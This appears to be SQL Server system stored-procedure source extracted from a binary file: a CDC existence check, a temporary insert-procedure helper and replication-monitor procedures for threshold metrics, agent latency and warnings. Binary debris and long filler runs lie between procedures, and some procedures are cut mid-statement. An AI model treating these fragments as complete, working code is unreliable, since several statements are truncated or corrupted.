	FROM OpenRowSet(TABLE DM_RG_POOLS)
0 F8
create function sys.fn_cdc_db_objects_exist()
returns bit
as
begin
	declare @schema_name sysname
		,@db_user sysname
	
	-- Check if the schema already exists
	select @schema_name = name
	from [sys].[schemas]
	where name = N'cdc'
	
	if (@schema_name is not null)
	begin
		return 1
	end	
	
	-- Check if a user of the same name already exists
	select @db_user = name
	from [sys].[database_principals]
	where type_desc = N'SQL_USER'
	and name = N'cdc'
	
	if (@db_user is not null)
	begin
		return 1
	end	
	
	return 0	
end
0@ 8-- Create temp sp, no security check needed
create procedure sys.sp_MSmaketempinsertproc 
    (@tablename sysname, @procname sysname)
as
        declare @qual_tablename nvarchar(140)
        declare @qual_procname nvarchar(140)
        select @qual_procname = QUOTENAME(@procname)
        select @qual_tablename = QUOTENAME(@tablename)

        -- now create the procedure
        execute ('create procedure dbo.' + @qual_procname + ' 
        ( @p1 int, @p2 uniqueidentifier, @p3 int, @p4 nvarchar(255), @p5 tinyint) as
        update ' + @qual_tablename + ' set tablenick = @p1, rowguid = @p2, errcode = @p3, errtext = @p4, type = @p5 
                where rowguid = @p2 
        if (@@rowcount = 0)
                insert into ' + @qual_tablename + ' (tablenick,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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#	`
<v	-Gc/{0_@ (8create procedure sys.sp_replmonitorinitializemetrics 
as
begin
    set nocount on
    declare @retcode int

    --
    -- create the table in msdb for storing the replicationmonitor thresold metrics
    --
    if (object_id('msdb.dbo.MSreplmonthresholdmetrics') is not null)
        drop table msdb.dbo.MSreplmonthresholdmetrics
        
    create table msdb.dbo.MSreplmonthresholdmetrics
    (
        metric_id int not null primary key
        ,title sysname not null
        ,warningbitstatus int not null
        ,alertmessageid int not null
        ,alertnameid int not null
        ,description nvarchar(3000) null
        ,default_value sql_variant null
        ,min_value sql_variant null
        ,max_value sql_variant null
    )
    if @@error != 0 
        return 1
    exec @retcode = msdb.dbo.sp_MS_marksystemobject 'dbo.MSreplmonthresholdmetrics' 
    if @@error != 0 or @retcode != 0 
        return 1
    --
    -- populate the table
    --
    exec('insert into msdb.dbo.MSreplmonthresholdmetrics (metric_id, title, warningbitstatus, alertmessageid, alertnameid, description, default_value) 
        values(1, N''expiration'', 0x1, 14160, 14167, ''Threshold to warn expiration of subscription to a transactional publication - percentage of retention in hours'', 80)')
    exec('insert into msdb.dbo.MSreplmonthresholdmetrics (metric_id, title, warningbitstatus, alertmessageid, alertnameid, description, default_value) 
        values(2, N''latency'', 0x2, 14161, 14168, ''The time taken to replicate data from the transactional publisher (committed) to the subscriber (committed) - in seconds'',30)')
    /*** EMPTY SLOT FOR A NEW THRESHOLD ****        
    exec('insert into msdb.dbo.MSreplmonthresholdmetrics (metric_id, title, warningbitstatus, alertmessageid, alertnameid, description, default_value) 
        values(3, N''stoppedagent'', 0x4, 14166, 0, ''The time in minutes that a transactional replication agent has not been running'', 30)')
    *****/
    -- the following are merge perf threshold
    exec('insert into msdb.dbo.MSreplmonthresholdmetrics (metric_id, title, warningbitstatus, alertmessageid, alertnameid, description, default_value) 
        values(4, N''mergeexpiration'', 0x8, 14160, 14167, ''Threshold to warn expiration of merge subscription to a publication - percentage of retention in hours'', 80)')
    exec('insert into msdb.dbo.MSreplmonthresholdmetrics (metric_id, title, warningbitstatus, alertmessageid, alertnameid, description) 
        values(5, N''mergeslowrunduration'', 0x20, 14163, 14169, ''The time taken to finish one merge run in slow DUN connction - in seconds'')')
    exec('insert into msdb.dbo.MSreplmonthresholdmetrics (metric_id, title, warningbitstatus, alertmessageid, alertnameid, description) 
        values(6, N''mergefastrunduration'', 0x10, 14162, 14170, ''The time taken to finish one merge run in fast LAN connction - in seconds'')')
    exec('insert into msdb.dbo.MSreplmonthresholdmetrics (metric_id, title, warningbitstatus, alertmessageid, alertnameid, description) 
        values(7, N''mergefastrunspeed'', 0x40, 14164, 14171, ''Merge delivery rate in fast LAN connection- in rows/seconds'')')
    exec('insert into msdb.dbo.MSreplmonthresholdmetrics (metric_id, title, warningbitstatus, alertmessageid, alertnameid, description) 
        values(8, N''mergeslowrunspeed'', 0x80, 14165, 14172, ''Merge delivery rate in slow DUN connection - in rows/seconds'')')

    if @@error != 0 
        return 1
    --
    -- return
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<C
	j s&[& swap' = datediff(second, @ptime, getdate())
            select @ptime = getdate()
        end
        --
        -- release the compute lock
        --
        exec @retcode = sys.sp_replmonitorsynchronize @mode = 4
        if (@retcode != 0)
            goto cleanup
        select @flockcomputeacquired = 0
        --
        -- release the refresh lock
        --
        exec @retcode = sys.sp_replmonitorsynchronize @mode = 2
        if @retcode != 0
            goto cleanup
        select @flockrefreshcheckacquired = 0
    end -- if (@frefresh = 1)
    --
    -- do we need to send data back
    --
    if object_id('tempdb..#tmp_replication_monitordata') is not null
    begin
        --
        -- get the shared lock for refresh check
        --
        exec @retcode = sys.sp_replmonitorsynchronize @mode = 1
        if @retcode != 0 
            goto cleanup
        select @flockrefreshcheckacquired = 1
        --
        -- get data to send back
        --
        if @publisher is not null and @publisher_db is not null and @publication is not null and @publication_type = 2
        begin
            insert into #tmp_replication_monitordata
            select 
                publication_id 
                ,publisher 
                ,publisher_srvid 
                ,publisher_db  
                ,publication  
                ,publication_type 
                ,agent_type  
                ,agent_name 
                ,job_id 
                ,status 
                ,isagentrunningnow 
                ,warning
                ,last_distsync 
                ,agentstoptime
                ,distdb 
                ,retention 
                ,time_stamp  
                ,worst_latency 
                ,best_latency 
                ,avg_latency 
                ,cur_latency 
                ,mergePerformance 
                ,mergelatestsessionrunduration 
                ,mergelatestsessionrunspeed 
                ,mergelatestsessionconnectiontype
                ,retention_period_unit
        from dbo.MSreplication_monitordata 
        where upper(publisher) = upper(@publisher)
            and publisher_db = @publisher_db
            and publication = @publication
            and publication_type = @publication_type
        end
        else
        begin
            insert into #tmp_replication_monitordata
            select 
                publication_id 
                ,publisher 
                ,publisher_srvid 
                ,publisher_db  
                ,publication  
                ,publication_type 
                ,agent_type  
                ,agent_name 
                ,job_id 
                ,status 
                ,isagentrunningnow 
                ,warning
                ,last_distsync 
                ,agentstoptime
                ,distdb 
                ,retention 
                ,time_stamp  
                ,worst_latency 
                ,best_latency 
                ,avg_latency 
                ,cur_latency 
                ,mergePerformance 
                ,mergelatestsessionrunduration 
                ,mergelatestsessionrunspeed 
                ,mergelatestsessionconnectiontype
                ,retention_period_unit
        from dbo.MSreplication_monitordata 
        where upper(publisher) = upper(isnull(@publisher, publisher))
            and (agent_type = 9 -- always include qreader agent entry
                    or (publisher_db = isnull(@publisher_db, publisher_db)))
            and (@publication is NULL or publication in (@publication, N'ALL'))
            and publication_type = isnull(@publication_type, publication_type)
        end
               
        if @@error != 0
            goto cleanup
        --
        -- release the refresh lock
        --
        exec @retcode = sys.sp_replmonitorsynchronize @mode = 2
        if @retcode != 0
            goto cleanup
        select @flockrefreshcheckacquired = 0
        if (@profile = 1)
        begin
            select 'data population to send back to caller' = datediff(second, @ptime, getdate())
            select @ptime = getdate()
        end
    end
    --
    -- release the locks
    --
cleanup:
    if (@flockcomputeacquired = 1)
        exec @retcode = sys.sp_replmonitorsynchronize @mode = 4
    if (@flockrefreshcheckacquired = 1)
        exec @retcode = sys.sp_replmonitorsynchronize @mode = 2
    --
    -- set the retcode if there was error
    --
    if @@error != 0
        select @retcode = 1
    --
    -- all done
    -- 
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(	 Dv{create procedure sys.sp_replmonitorrefreshagentdata 
as
begin
    set nocount on
    declare @retcode int
                ,@agent_id int
                ,@agent_id2 int
                ,@publisher_id int
                ,@xact_seqno varbinary(16)
                ,@logreader_latency int
                ,@publisher_db sysname
                ,@publication sysname
                
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_replmonitorrefreshagentdata', 'distribution')
        return (1)
    end
    --
    -- logreader specific
    --
    if exists (select agent_id from #tmp_replmonitorrefresh where agent_type = 2)
    begin
        --
        -- worst_latency in seconds
        -- best_latency  in seconds
        -- avg_latency  in seconds
        --
        update #tmp_replmonitorrefresh
        set worst_latency = latencyview.worst/1000
            ,best_latency = latencyview.best/1000
            ,avg_latency = latencyview.average/1000
        from 
        (
            select agent_id
                    ,max(delivery_latency) as worst
                    ,min(delivery_latency) as best
                    ,cast(avg(cast(delivery_latency as bigint)) as int) as average
            from dbo.MSlogreader_history with (nolock)
            where runstatus = 2
            group by agent_id
        ) as latencyview
        where #tmp_replmonitorrefresh.agent_id = latencyview.agent_id
            and agent_type = 2
        --
        -- cur_latency in seconds
        --
        update #tmp_replmonitorrefresh
        set cur_latency = h.delivery_latency/1000
        from 
        (
            dbo.MSlogreader_history as h with (nolock) 
            join 
            (
                select agent_id, max(timestamp) as maxtimestamp
                from dbo.MSlogreader_history with (nolock)
                where runstatus = 2
                and delivered_commands > 0
                group by agent_id
            ) as latest
            on h.agent_id = latest.agent_id
            and h.timestamp = latest.maxtimestamp
        )
        where #tmp_replmonitorrefresh.agent_id = h.agent_id
            and agent_type = 2
        --
        -- agentstoptime 
        --
        update #tmp_replmonitorrefresh
        set agentstoptime = h.time
        from 
        (
            dbo.MSlogreader_history as h with (nolock) 
            join 
            (
                select agent_id, max(timestamp) as maxtimestamp
                from dbo.MSlogreader_history with (nolock)
                where (runstatus = 2 or runstatus > 4)
                group by agent_id
            ) as latest
            on h.agent_id = latest.agent_id
            and h.timestamp = latest.maxtimestamp
        )
        where #tmp_replmonitorrefresh.agent_id = h.agent_id
            and agent_type = 2
    end
    --
    -- Distribution agent specific
    --
    if exists (select agent_id from #tmp_replmonitorrefresh where (agent_type & 3) = 3)
    begin
        --
        -- retention (same for all logbased and snapshot publications)
        -- Use the max_retention value for this distribution db
        --
        update #tmp_replmonitorrefresh
        set retention = dbs.max_distretention 
        from msdb.dbo.MSdistributiondbs as dbs
        where dbs.name = distdb
            and (agent_type & 3) = 3
        --
        -- worst_latency in seconds
        -- best_latency in seconds
        -- avg_latency in seconds
        --
        update #tmp_replmonitorrefresh
        set worst_latency = latencyview.worst/1000
            ,best_latency = latencyview.best/1000
            ,avg_latency = latencyview.average/1000
        from 
        (
            select agent_id
                    ,max(delivery_latency) as worst
                    ,min(delivery_latency) as best
                    ,cast(avg(cast(delivery_latency as bigint)) as int) as average
            from dbo.MSdistribution_history with (nolock)
            where runstatus = 2
            group by agent_id
        ) as latencyview
        where #tmp_replmonitorrefresh.agent_id = latencyview.agent_id
            and (agent_type & 3) = 3
        --
        -- last_distsync (this essentially records the last time
        -- some activity happened on the history of the agent)
        --
        update #tmp_replmonitorrefresh
        set last_distsync = h.time
        from 
        (
            dbo.MSdistribution_history as h with (nolock) 
            join 
            (
                select agent_id, max(timestamp) as maxtimestamp
                from dbo.MSdistribution_history with (nolock)
                where runstatus in (2,3,4)
                group by agent_id
            ) as latest
            on h.agent_id = latest.agent_id
            and h.timestamp = latest.maxtimestamp
        )
        where #tmp_replmonitorrefresh.agent_id = h.agent_id
            and (agent_type & 3) = 3
        --
        -- agentstoptime 
        --
        update #tmp_replmonitorrefresh
        set agentstoptime = h.time
        from 
        (
            dbo.MSdistribution_history as h with (nolock) 
            join 
            (
                select agent_id, max(timestamp) as maxtimestamp
                from dbo.MSdistribution_history with (nolock)
                where (runstatus = 2 or runstatus > 4)
                group by agent_id
            ) as latest
            on h.agent_id = latest.agent_id
            and h.timestamp = latest.maxtimestamp
        )
        where #tmp_replmonitorrefresh.agent_id = h.agent_id
            and (agent_type & 3) = 3
        --
        -- cur_latency 
        -- this value is the ("time of sub commit" - "distribution entry time"/1000
        -- basically this is the distrib agent latency in seconds (pre-computed by add hist)
        --
        -- if we are looking at a idle (runstatus = 4) entry then it means there are 
        -- no pending messages and we cannot reliably compute cur_latency. We will set it
        -- to zero. This will resolve the cases when some high latency processing happens
        -- and then the latency never goes down if there is no further activity (example:
        -- Initial Snapshot processing followed by no other activity should not spike the 
        -- latency for a unduly long time)
        --
        update #tmp_replmonitorrefresh
        set cur_latency = case when (distlatency.runstatus = 4) then 0 else distlatency.latency/1000 end
        from 
        (
            (
                select agent_id, max(xact_seqno) as maxseqno, max(time) as maxtime
                from dbo.MSdistribution_history with (nolock)
                where runstatus in (2, 3, 4) -- 2-success 3-inprogress 4-idle
                group by agent_id
            ) as xactview
            join
            (
                select agent_id, isnull(delivery_latency, 0) as latency, xact_seqno, time, runstatus
                from dbo.MSdistribution_history with (nolock)
                where runstatus in (2, 3, 4) -- 2-success 3-inprogress 4-idle
            ) as distlatency
            on xactview.agent_id = distlatency.agent_id
            and xactview.maxseqno = distlatency.xact_seqno
            and xactview.maxtime = distlatency.time
        )
        where #tmp_replmonitorrefresh.agent_id = distlatency.agent_id
            and (agent_type & 3) = 3
        --
        -- compute the logreader latency for logbased publications
        --
        declare #hcrefreshmonitor cursor local fast_forward for 
            select publisher_srvid, publisher_db, publication, agent_id
            from #tmp_replmonitorrefresh
            where publication_type = 0
            and (agent_type & 3) = 3!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<:	 ߌ{
        open #hcrefreshmonitor
        fetch #hcrefreshmonitor into @publisher_id, @publisher_db, @publication, @agent_id
        while (@@fetch_status != -1)
        begin
            --
            -- initialize
            --
            select @agent_id2 = NULL
                    ,@xact_seqno = NULL
                    ,@logreader_latency = NULL

            select top 1 @xact_seqno = xact_seqno
            from dbo.MSdistribution_history with (nolock)
            where agent_id = @agent_id
                and runstatus in (2, 3, 4) -- 2-success 3-inprogress 4-idle
            order by xact_seqno desc, time desc
            --
            -- here we are attempting to find the last transaction in logreader history
            -- that is closest to the last transaction delivered to the subscriber.        
            -- do logreader latency computation only for logbased publications
            -- 
            -- In the event we find a an idle history log, we will set logreader latency to 0
            --
            select @agent_id2 = max(id)
            from dbo.MSlogreader_agents with (nolock)
            where publisher_id = @publisher_id
                and publisher_db = @publisher_db
            if (@agent_id2 is null)
            begin
                raiserror('could not find agent entry', 16,1)
                return (1)
            end
            select top 1 @logreader_latency = case when (runstatus = 4) then 0 else delivery_latency/1000 end
            from MSlogreader_history with (nolock)
            where agent_id = @agent_id2 
                and xact_seqno >= @xact_seqno
                and runstatus in (2, 3, 4) -- 2-success 3-inprogress 4-idle
            order by xact_seqno asc, time desc
            if @logreader_latency is NULL
            begin
                --
                -- if we did not have a tran in front then we will use the 
                -- previous one note the difference in order by clause and range
                --
                select top 1 @logreader_latency = case when (runstatus = 4) then 0 else delivery_latency/1000 end
                from MSlogreader_history with (nolock)
                where agent_id = @agent_id2 
                    and xact_seqno < @xact_seqno
                    and runstatus in (2, 3, 4) -- 2-success 3-inprogress 4-idle
                order by xact_seqno desc, time desc
            end
            --
            -- add the latency
            --
            if @logreader_latency is not NULL
            begin
                update #tmp_replmonitorrefresh 
                set cur_latency = cur_latency + @logreader_latency
                where agent_id = @agent_id
            end
            --
            -- fetch next agent
            --
            fetch #hcrefreshmonitor into @publisher_id, @publisher_db, @publication, @agent_id
        end
        close #hcrefreshmonitor
        deallocate #hcrefreshmonitor
    end
    --
    -- Queuereader agent specific
    --
    if exists (select agent_id from #tmp_replmonitorrefresh where agent_type = 9)
    begin
        --
        -- @agentstoptime datetime output
        --
        update #tmp_replmonitorrefresh
        set agentstoptime = h.time
        from 
        (
            dbo.MSqreader_history as h with (nolock) 
            join 
            (
                select agent_id, max(timestamp) as maxtimestamp
                from dbo.MSqreader_history with (nolock)
                where (runstatus = 2 or runstatus > 4)
                group by agent_id
            ) as latest
            on h.agent_id = latest.agent_id
            and h.timestamp = latest.maxtimestamp
        )
        where #tmp_replmonitorrefresh.agent_id = h.agent_id
            and agent_type = 9
    end
    --
    -- Merge agent specific
    --
    if exists (select agent_id from #tmp_replmonitorrefresh where (agent_type & 4) = 4)
    begin
        update #tmp_replmonitorrefresh
        set mergelatestsessionconnectiontype = h.connection_type
            ,mergelatestsessionrunduration = h.duration
            ,mergelatestsessionrunspeed=h.delivery_rate
            ,isagentrunningnow=case when (h.runstatus in (1, 3, 4, 5)) then 1 else 0 end
            ,last_distsync = h.start_time
        from dbo.MSmerge_sessions as h with (nolock), #tmp_replmonitorrefresh 
        where session_id = 
            (
                select top 1 ms2.session_id
                from dbo.MSmerge_sessions ms2 with (nolock)
                where ms2.agent_id = h.agent_id
                order by ms2.session_id desc
            ) 
        and #tmp_replmonitorrefresh.agent_id = h.agent_id
            and ((agent_type & 4) = 4)
        --
        -- runspeed
        --
        update #tmp_replmonitorrefresh
        set mergePerformance=
            case when (rates.avg_mergerunspeed is not null and rates.avg_mergerunspeed != 0) 
                then CAST((mergelatestsessionrunspeed*100)/rates.avg_mergerunspeed as int) 
                else NULL end
        from 
        (
            (
                select agent_id, connection_type, delivery_rate
                from dbo.MSmerge_sessions as ms1 with (nolock)
                where (upload_inserts + upload_deletes + upload_updates + download_inserts 
                    + download_deletes + download_updates) >= 50
                    and delivery_rate is not null
                    and session_id = (select top 1 ms2.session_id from dbo.MSmerge_sessions ms2 with (nolock)
                        where ms1.agent_id = ms2.agent_id
                        and ms1.connection_type = ms2.connection_type
                        order by ms2.session_id desc)
               
            ) as latest
            join
            (
                select connection_type
                        ,isnull(avg(delivery_rate),0) as avg_mergerunspeed
                from dbo.MSmerge_sessions with (nolock)
                where delivery_rate is not null
                and (upload_inserts + upload_deletes + upload_updates + download_inserts 
                    + download_deletes + download_updates) >= 50
                group by connection_type
                having count(*) >= 5	-- compare with min 5 sessions of same conn type and each having 
                                                    -- replicated at least 50 rows.
            ) as rates
            on latest.connection_type = rates.connection_type
        )
        where #tmp_replmonitorrefresh.agent_id = latest.agent_id
            and mergelatestsessionconnectiontype = latest.connection_type
            and ((agent_type & 4) = 4)
        
    end
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(	 JofUvTOcreate procedure sys.sp_replmonitorrefreshwarningdata 
as
begin
    set nocount on
    declare @retcode int
                ,@publication_id int
                ,@publication sysname
                ,@metric_id int
                ,@title sysname
                ,@description sysname
                ,@alertmessageid int
                ,@value sql_variant
                ,@shouldalert bit
                ,@warningbitstatus int
                ,@thresholdvalue int
                ,@cutoff_time datetime
                ,@warning int
                ,@cur_latency int
                ,@agent_type int
                ,@publication_type int
    --
    -- constants
    --
    declare @expiration int
                ,@latency int
                ,@mergeexpirationChosen int
                ,@mergefastrundurationChosen int
                ,@mergeslowrundurationChosen int
                ,@mergefastrunspeedChosen int
                ,@mergeslowrunspeedChosen int
                ,@retention_period_unit tinyint

    --
    -- initialize constants
    --
    select @expiration = 1
                ,@latency = 2
                ,@mergeexpirationChosen=4
                ,@mergeslowrundurationChosen=5
                ,@mergefastrundurationChosen=6
                ,@mergefastrunspeedChosen=7
                ,@mergeslowrunspeedChosen=8

    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_replmonitorrefreshagentdata', 'distribution')
        return (1)
    end
    
    --
    -- process all the necessary publications
    --
    declare #hccomputewarning cursor local fast_forward for 
        select t.publication_id, t.metric_id, t.value, t.shouldalert
            ,m.title, m.warningbitstatus, m.alertmessageid, m.description
            ,msp.publication_type, msp.publication
        from dbo.MSpublicationthresholds as t with (nolock), msdb.dbo.MSreplmonthresholdmetrics as m, dbo.MSpublications as msp with (nolock)
        where t.metric_id = m.metric_id
        and t.isenabled=1
        and msp.publication_id = t.publication_id
        and t.publication_id in 
            (select distinct publication_id
            from #tmp_replmonitorrefresh)

    open #hccomputewarning
    fetch #hccomputewarning into @publication_id, @metric_id, @value, @shouldalert, @title, @warningbitstatus, @alertmessageid, @description, @publication_type, @publication
    while (@@fetch_status != -1)
    begin
        --
        -- reset warning variable
        --
        select @warning = NULL
                ,@thresholdvalue = NULL
        --
        -- Process based on publication type
        --
        if  @publication_type <> 2
        begin
            --
            -- transactional/snapshot publication
            -- Process based on metric 
            --
            if (@metric_id = @expiration)
            begin
                if (@value is not null)
                begin
                    --
                    -- Tran retention is based on max retention of distribution db
                    --
                    select @thresholdvalue = (max(isnull(retention,0)) * cast(@value as int)) / 100
                    from #tmp_replmonitorrefresh
                    where publication_id = @publication_id
                        and (agent_type & 3) = 3
                    
